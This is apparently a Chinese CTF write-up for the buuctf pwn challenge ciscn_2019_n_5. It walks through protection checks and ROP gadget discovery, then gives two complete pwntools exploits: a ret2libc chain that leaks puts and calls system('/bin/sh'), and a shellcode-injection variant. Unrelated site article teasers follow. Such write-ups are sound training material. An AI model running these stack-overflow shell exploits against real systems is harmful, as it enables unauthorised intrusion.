news 2026/8/7 11:55:42

buuctf中的ciscn_2019_n_5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的ciscn_2019_n_5

首先checksec检查保护状态:

-64位程序

-几乎没有保护,但是是NX保护未知,后续需要验证

接下来使用IDA反汇编工具进行分析:

没发现任何后门函数,那么只能是注入shellcode或泄露libc,这里发现第一个read可以输入数据到name变量中,然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode

想要注入shellcode这里得来验证一下name内存地址的权限:

-拿到name在bss段的地址

在gdb中输入vmmap 0x601080:

发现这段内存地址只有读写功能,不可执行,shellcode注入不可用

那么只剩libc泄露可用了,这里需要用到rdi和ret的地址,在linux终端输入以下指令:

ROPgadget --binary pwn --only "pop|ret"

ret地址:0x00000000004004c9,rdi地址:0x0000000000400713,其中ret用于栈对齐,rdi用于构造ROP链调用函数

然后再在IDA中拿到main函数地址:0x400636

基本信息拿完后就可以开始写exp攻击脚本了:

由于这里shellcode注入不可用,使用第一个read读取内容到name那里的那一行代码已经没有用处了,随便输入一个字符都行,接下来就是进行两次栈溢出,第一次将puts的地址泄露出来,配合LibcSearcher找到libc库,算出libc基址,然后得到system和/bin/sh地址,第二次栈溢出在注入system函数就可以拿到shell

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 main_addr = 0x400636 rdi_addr = 0x400713 ret_addr = 0x4004c9 elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b'What do you want to say to me?\n',payload) puts_addr = u64(io.recvline().strip().ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') io.sendlineafter(b'tell me your name\n',b'1') payload = b'a'*40 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil(b'What do you want to say to me?\n') io.sendline(payload) io.interactive()

这是运行结果:

这里需要手动选择libc库,64位程序就选择64位的libc库,这里有可能会选到不适配的libc,多选几次就可用了,最后拿到shell后输入cat flag拿到flag

最后,如果变量name的那段内存地址有执行权限的话exp会简单得多,这是代码:

基本思路就是在name的内存地址中注入shellcode,然后再跳转到变量name那段内存地址中执行shellcode

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27399) # 与在线环境交互。 aim_addr = 0x601080 shellcode = asm(shellcraft.sh()) io.recvuntil(b'tell me your name\n') io.sendline(shellcode) io.recvuntil(b'What do you want to say to me?\n') payload = b'a'*40 + p64(aim_addr) io.sendline(payload) io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/7 11:38:25

手机号码归属地查询库:5分钟快速上手实战指南

手机号码归属地查询库:5分钟快速上手实战指南 【免费下载链接】phonedata 手机号码归属地信息库、手机号归属地查询 phone.dat 最后更新:2023年02月 项目地址: https://gitcode.com/gh_mirrors/ph/phonedata 手机号码归属地查询是许多应用场景中…

作者头像 李华
网站建设 2026/8/7 17:50:25

SKYNET Steam模拟器:零网络依赖的终极局域网游戏解决方案

还在为网络不稳定而无法畅享Steam游戏联机乐趣而烦恼吗?🚀 SKYNET Steam模拟器通过创新的本地网络技术,让您在任何环境下都能体验无延迟的游戏对战。这款专业级游戏模拟工具采用先进的DLL注入技术,完美复现Steam平台的各项核心功能…

作者头像 李华
网站建设 2026/8/6 21:01:45

淋巴瘤化疗越做越糟?偶遇 “抗癌老乡”,4年活成生活达人!

“现在我一天忙得脚不沾地,早上拖地洗衣服,中午照顾孩子,下午约着打会儿小麻将,晚上去跳广场舞,有空还种种菜!”何小涛是一位癌症患者,而这位生活满满当当、气色红润的湖北阿姨,4年前曾被确诊为…

作者头像 李华
网站建设 2026/8/7 11:42:14

小白也能懂:PostConstruct注解图解指南

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 创建一个图文教程项目:1. 用流程图展示Bean生命周期;2. 简单咖啡机类比喻演示PostConstruct;3. 常见错误示例(如循环依赖&#xff09…

作者头像 李华
网站建设 2026/8/7 0:34:42

快速搭建NAS导航面板:Sun-Panel终极配置指南

快速搭建NAS导航面板:Sun-Panel终极配置指南 【免费下载链接】sun-panel 一个NAS导航面板、Homepage、浏览器首页。 项目地址: https://gitcode.com/gh_mirrors/su/sun-panel 还在为管理NAS服务器上的各种服务而烦恼吗?Sun-Panel作为一款专业的NA…

作者头像 李华
网站建设 2026/8/6 20:03:53

QR码修复终极指南:让损坏的二维码重获新生

QR码修复终极指南:让损坏的二维码重获新生 【免费下载链接】qrazybox QR Code Analysis and Recovery Toolkit 项目地址: https://gitcode.com/gh_mirrors/qr/qrazybox 还在为无法扫描的二维码而苦恼吗?当你遇到损坏的QR码时,千万不要…

作者头像 李华